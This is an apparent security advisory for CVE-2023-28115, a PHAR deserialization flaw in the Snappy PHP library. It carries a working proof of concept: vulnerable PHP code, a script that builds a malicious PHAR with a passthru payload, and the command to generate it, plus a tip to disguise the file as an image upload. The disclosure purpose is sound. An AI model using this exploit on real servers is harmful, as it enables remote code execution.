CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
88.2%
snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists()
function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If user can control the output file from the generateFromHtml()
function, it will invoke deserialization.
Install Snappy via composer require knplabs/knp-snappy
. After that, under snappy directory, create an index.php
file with this vulnerable code.
<?php
// index.php
// include autoloader
require __DIR__ . '/vendor/autoload.php';
// reference the snappy namespace
use Knp\Snappy\Pdf;
// vulnerable object
class VulnerableClass {
public $fileName;
public $callback;
function __destruct() {
call_user_func($this->callback, $this->fileName);
}
}
$snappy = new Pdf('/usr/local/bin/wkhtmltopdf');
// generate pdf from html content and save it at phar://poc.phar
$snappy->generateFromHtml('<h1>Bill</h1><p>You owe me money, dude.</p>', 'phar://poc.phar');
As an attacker, we going to generate the malicious phar using this script.
<?php
// generate_phar.php
class VulnerableClass { }
// Create a new instance of the Dummy class and modify its property
$dummy = new VulnerableClass();
$dummy->callback = "passthru";
$dummy->fileName = "uname -a > pwned"; //our payload
// Delete any existing PHAR archive with that name
@unlink("poc.phar");
// Create a new archive
$poc = new Phar("poc.phar");
// Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering();
// Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
// Add a new file in the archive with "text" as its content
$poc["file"] = "text";
// Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy);
// Stop buffering and write changes to disk
$poc->stopBuffering();
?>
Then run these command to generate the file
php --define phar.readonly=0 generate_phar.php
Then execute index.php with php index.php
. You will see a file named pwned
will be created. Noted that attacker can upload a file with any extension such as .png or .jpeg. So poc.jpeg also will do the trick.
This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains.
github.com/advisories/GHSA-gq6w-q6wh-jggc
github.com/FriendsOfPHP/security-advisories/blob/master/knplabs/knp-snappy/CVE-2023-28115.yaml
github.com/KnpLabs/snappy/blob/5126fb5b335ec929a226314d40cd8dad497c3d67/src/Knp/Snappy/AbstractGenerator.php#L670
github.com/KnpLabs/snappy/commit/1ee6360cbdbea5d09705909a150df7963a88efd6
github.com/KnpLabs/snappy/commit/b66f79334421c26d9c244427963fa2d92980b5d3
github.com/KnpLabs/snappy/pull/469
github.com/KnpLabs/snappy/releases/tag/v1.4.2
github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc
huntr.dev/bounties/0bdddc12-ff67-4815-ab9f-6011a974f48e/
nvd.nist.gov/vuln/detail/CVE-2023-28115